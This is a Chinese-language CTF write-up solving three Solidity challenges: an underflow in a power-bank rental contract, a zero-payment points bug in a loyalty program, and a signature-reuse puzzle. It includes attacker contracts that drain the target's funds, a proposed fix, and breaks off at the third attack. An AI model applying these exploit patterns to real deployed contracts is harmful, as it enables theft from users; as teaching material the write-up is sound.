1.充电宝

题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
//一个新型共享充电宝租借系统,整点动静,给粗心的项目方一点小小的震撼

//复制粘贴到remix本地测试即可,不改变代码的情况下,调用falg函数返回true视为成功
contract PowerBankRental {
uint256 public totalUnits = 5; //记录实际有多少个充电宝
mapping(address => uint) public deposits;

function rent() external payable {
require(msg.value == 1 ether, "Need 1 ETH");

require(totalUnits >= 0, "Out of stock");

unchecked{
totalUnits--;
}

deposits[msg.sender] += msg.value;
}

function returnAll() external {
require(deposits[msg.sender] > 0, "No deposit");

totalUnits++;

uint256 amount = deposits[msg.sender];
deposits[msg.sender] = 0;

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Refund failed");
}

function falg(address attacker) external view returns (bool) {
return (totalUnits >= 5 && deposits[attacker] > 0);
}
}
}

我的解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*首先看原代码看到了显目的unchecked

unchecked{
totalUnits--;
}

然后看falg函数返回“true”的条件:
totalUnits >= 5 && deposits[attacker] > 0

则要尝试让数量一直大于5且一直有押金在
对于第一个 因为有uncheck,直接调用rent()超过5次即可使这个表示数量的参数下滥,然后它就变成极大值就一直满足第一个条件了;
对于第二个,我想法是有钱就行,那就前五次调用后都归还(return.All())(归还就是2^256-1+5,还是很大),然后最后再调用rent,这样表示数量的参又大于5,付给系统的租金也不是0(>0)

*/

Account切换不同账号来借充电宝:

image-20250417161700489

变成0后再借一次,就会发现:

image-20250417161740648

前面5个账号再分别returnAll()退掉

然后在flag那里输入我rent()时的地址

可得:

image-20250417162134663

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Hack {
PowerBankRental target;
uint256 counter;

constructor(address _target) {
target = PowerBankRental(_target);
}

function attack() external payable {
for (uint i = 0; i < 6; i++) {
target.rent{value: 1 ether}();
}
}

2. LoyaltyProgram

你发现了一个“忠诚计划”合约 LoyaltyProgram,它奖励用户通过支付 ETH 来积累“忠诚点数”(loyaltyPoints)。当你的点数达到一定值时,你将被认证为“忠诚会员”,并解锁特殊权限。

请在remix上部署LoyaltyProgram合约时存入 1 ehter 为起始资金。

挑战目标:

将 isCertified 设置为 true。并提取合约中所有资金。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract LoyaltyProgram {
mapping(address => uint256) public loyaltyPoints;
mapping(address => uint256) public lastPaymentTime;
bool public isCertified;
uint256 public constant TARGET_POINTS = 4;
address public owner;
uint256 public totalFunds;

event Payment(address indexed payer, uint256 amount);
event PointsEarned(address indexed member, uint256 points);
event Certified(address indexed member);

constructor() payable {
require(msg.value >= 1 ether, "Program requires 1 ETH to start");
owner = msg.sender;
totalFunds = msg.value;
isCertified = false;
}

function payLoyaltyFee() external payable {
require(!isCertified, "Program already certified!");

totalFunds = address(this).balance;

uint256 payment = msg.value;
lastPaymentTime[msg.sender] = block.timestamp;

if (payment >= 0.5 ether) {
loyaltyPoints[msg.sender] += payment / 0.5 ether;
} else if (payment > 0 && payment < 0.5 ether) {
loyaltyPoints[msg.sender] += 1;
} else if (totalFunds > 0 && lastPaymentTime[msg.sender] > 0) {
loyaltyPoints[msg.sender] += 1;
}

emit Payment(msg.sender, payment);
emit PointsEarned(msg.sender, loyaltyPoints[msg.sender]);

if (loyaltyPoints[msg.sender] >= TARGET_POINTS) {
isCertified = true;
emit Certified(msg.sender);
}
}

function claimReward() external {
require(isCertified, "Not certified yet");
require(loyaltyPoints[msg.sender] >= TARGET_POINTS, "Not enough points");

uint256 reward = address(this).balance;
totalFunds = 0;
(bool success, ) = msg.sender.call{value: reward}("");
require(success, "Transfer failed");
}

function getPoints(address member) external view returns (uint256) {
return loyaltyPoints[member];
}

// 接收 ETH 的回调
receive() external payable {
totalFunds += msg.value;
}
}

我的解题:

首先 1ether开始

image-20250417211359522

然后阅读代码,结合题意的文字描述,大概是积分大于等于四分就是会员了;

然后是了解这个加分机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (payment >= 0.5 ether) {
loyaltyPoints[msg.sender] += payment / 0.5 ether;
}
//支付大于等于 0.5 ETH时,1ETH = 2分

else if (payment > 0 && payment < 0.5 ether) {
loyaltyPoints[msg.sender] += 1;
}
//支付0-0.5个时,就是1分

else if (totalFunds > 0 && lastPaymentTime[msg.sender] > 0) {
loyaltyPoints[msg.sender] += 1; //这个我理解的是 当你之前支付过一次后,如果你再来用0ETH调用一下(类似于签到?),还是给你加一分
}

那么现在的目的应该是用最少的eth达到会员然后再把钱取走。

我的思路是:第一次先支付很少很少(1 wei),然后后期一直调用 payLoyaltyFee() 发送 0 ETH三次 ,来得到四分,从而获得奖励。

第一步

image-20250418180936172

第二步 0wei调用三次payLoyaltyFee()

第三步

填上调用者地址 然后看这两个函数 应该就可以了、

image-20250418181249634

攻击合约:

  • payLoyaltyFee()函数没有验证支付金额(msg.value),允许攻击者通过发送0 ETH多次调用来积累忠诚度。
  • 该条件分支 **没有检查 msg.value > 0**,这是致命漏洞
  • 逻辑错误:应该用 payment > 0 而非 totalFunds > 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 忠诚度计划接口
interface ILoyaltyProgram {
function payLoyaltyFee() external payable; // 支付忠诚度费用
function loyaltyPoints(address member) external view returns (uint256); // 查询忠诚度点数
function isCertified() external view returns (bool); // 检查是否认证
function claimReward() external; // 领取奖励
}

contract LoyaltyExploit {
ILoyaltyProgram public target; // 目标 LoyaltyProgram 合约地址
address public attacker; // 攻击者地址
uint256 public constant REQUIRED_CALLS = 5; // 需要调用5次触发漏洞

event ExploitSuccess(address indexed attacker, uint256 points); // 攻击成功事件

// 构造函数:初始化目标合约和攻击者地址
constructor(address _target) {
target = ILoyaltyProgram(_target); // 设置目标合约
attacker = msg.sender; // 设置攻击者为部署者
}

// 攻击函数:通过多次调用payLoyaltyFee利用漏洞
function exploit() external {
require(msg.sender == attacker, "Only attacker can exploit"); // 只有攻击者能调用

// 循环调用5次payLoyaltyFee(不发送ETH)
for (uint256 i = 0; i < REQUIRED_CALLS; i++) {
target.payLoyaltyFee{value: 0}(); // 关键漏洞利用点:免费增加忠诚度
}

// 验证攻击是否成功
uint256 finalPoints = target.loyaltyPoints(address(this)); // 获取当前合约的忠诚度
require(finalPoints >= 4, "Failed to reach target points"); // 确保点数足够
require(target.isCertified(), "Certification not achieved"); // 确保获得认证

emit ExploitSuccess(attacker, finalPoints); // 触发成功事件
}

// 提取奖励函数
function withdrawReward() external {
require(msg.sender == attacker, "Only attacker can withdraw"); // 只有攻击者能提取

// 从目标合约领取奖励(可能包含ETH)
target.claimReward();

// 将合约内的ETH转给攻击者
uint256 balance = address(this).balance;
if (balance > 0) {
(bool success, ) = attacker.call{value: balance}("");
require(success, "Transfer to attacker failed");
}
}

// 接收ETH的回退函数
receive() external payable {}
}

为什么不需要转入那1wei:

1
lastPaymentTime[msg.sender] = block.timestamp; // 每次调用都会更新!

payLoyaltyFee()函数中无条件更新lastPaymentTime

  • 这个赋值操作发生在条件判断之前
  • 因此即使是0 ETH调用,也会先记录时间戳,使后续检查lastPaymentTime > 0永远为真

攻击流程解析:

  1. 第一次调用value=0):
    • 先执行:lastPaymentTime[攻击合约] = block.timestamp(设为当前时间)
    • 然后检查条件:
      • payment == 0 → 跳过第一个条件
      • payment < 0.5 ether → 跳过第二个条件
      • totalFunds > 0 && lastPaymentTime > 0满足!(因为时间戳刚被设置)
    • 结果:获得1点
  2. 后续调用
    • 每次都会重复上述过程,因为时间戳始终被更新

修改漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function payLoyaltyFee() external payable {
require(msg.value > 0, "Payment required"); // 必须添加的防护

uint256 payment = msg.value;
totalFunds += payment;

// 先进行条件判断
if (payment >= 0.5 ether) {
loyaltyPoints[msg.sender] += payment / 0.5 ether;
} else {
loyaltyPoints[msg.sender] += 1;
}

// 最后更新时间戳
lastPaymentTime[msg.sender] = block.timestamp;
// ...
}

漏洞本质:

这是典型的执行顺序漏洞,关键问题在于:

  1. 时间戳更新操作放在了条件判断之前
  2. 没有对msg.value == 0的情况做防护

3.签名

题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;



//备注,此合约地址为部署者地址,每次做题前,请用部署者合约的deploy函数来部署自己的题目地址
//请勿提交相同答案,不然算抄袭
//0xD5bc07F7c1d70f720Fe1C586EbD9a942F6689B68
//通过条件,有个isSolved函数,返回true即可
contract Deployer {
address[] public deployed;

event ChallengeDeployed(address indexed challengeAddress);

function deploy() external returns (address) {
challenge newChallenge = new challenge();
address challengeAddress = address(newChallenge);
deployed.push(challengeAddress);
emit ChallengeDeployed(challengeAddress);
return challengeAddress;
}

function getDeployedCount() external view returns (uint256) {
return deployed.length;
}

function getAllDeployed() external view returns (address[] memory) {
return deployed;
}

function isSolved(address _address) public view returns (bool) {
for (uint256 i = 0; i < deployed.length; i++) {
if (challenge(deployed[i]).isSolved(_address)) {
return true;
}
}
return false;
}

}

contract challenge {
struct Message {
uint8 v;
bytes32 r;
bytes32 s;
}

address csl;
bytes32 alreadyUsedMessageHash;
mapping(address => bool) public isCompleted;

constructor() {}

function isSolved(address _address) public view returns (bool) {
return isCompleted[_address];
}

function getMessageHash(address _csl) public view returns (bytes32) {
return keccak256(abi.encodePacked("I want to open the magic box", _csl, address(this), block.chainid));
}

function _getSignerAndMessageHash(Message memory _message) internal view returns (address, bytes32) {
address signer = ecrecover(getMessageHash(msg.sender), _message.v, _message.r, _message.s);
bytes32 messageHash = keccak256(abi.encodePacked(_message.v, _message.r, _message.s));
return (signer, messageHash);
}

function toSign(Message memory message) external {
require(csl == address(0), "CSL already signed in");
(address signer, bytes32 messageHash) = _getSignerAndMessageHash(message);
require(signer == msg.sender, "Invalid message");
csl = signer;
alreadyUsedMessageHash = messageHash;
}

function toSolve(Message memory message) external {
require(csl == msg.sender, "Only CSL can open the box");
(address signer, bytes32 messageHash) = _getSignerAndMessageHash(message);
require(signer == msg.sender, "No key No way");
require(messageHash != alreadyUsedMessageHash, "used?");
isCompleted[msg.sender] = true;
}
}

我的解题:

重点阅读代码中函数toSign()和toSolve()

了解到:

1.签名者必须是调用函数者

2.一个地址只能签一次(大概理解意思,不确定 但是看得出同一个不能签两次)

3.调用tosign()时候地址未设置

csl == address(0)

思路:

  1. 先Deploy()

  2. 应该是tosign和tosolve的签名不能重复

  3. 得到与keccak256(abi.encodePacked(…))一样 的哈希值

  4. 总结&构造一下这个合约所需要的签名参数

    (根据getMessageHash())

    {

    • “I want to open the magic box”

    • addr(我的地址 msg.sender)

    • c_addr(challenge地址,deploy得到

    • chainId

    }

过程:

1.部署Deployer合约

image-20250418185608031

得到:

image-20250419111245286

  1. 然后签名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const hash = web3.utils.soliditySha3(
    "I want to open the magic box",
    addr,
    c_addr,
    chainId
    );

    const signature = await web3.eth.sign(hash, userAddress);

    签名后得到v,r,s

  2. 换个ID再签名

攻击合约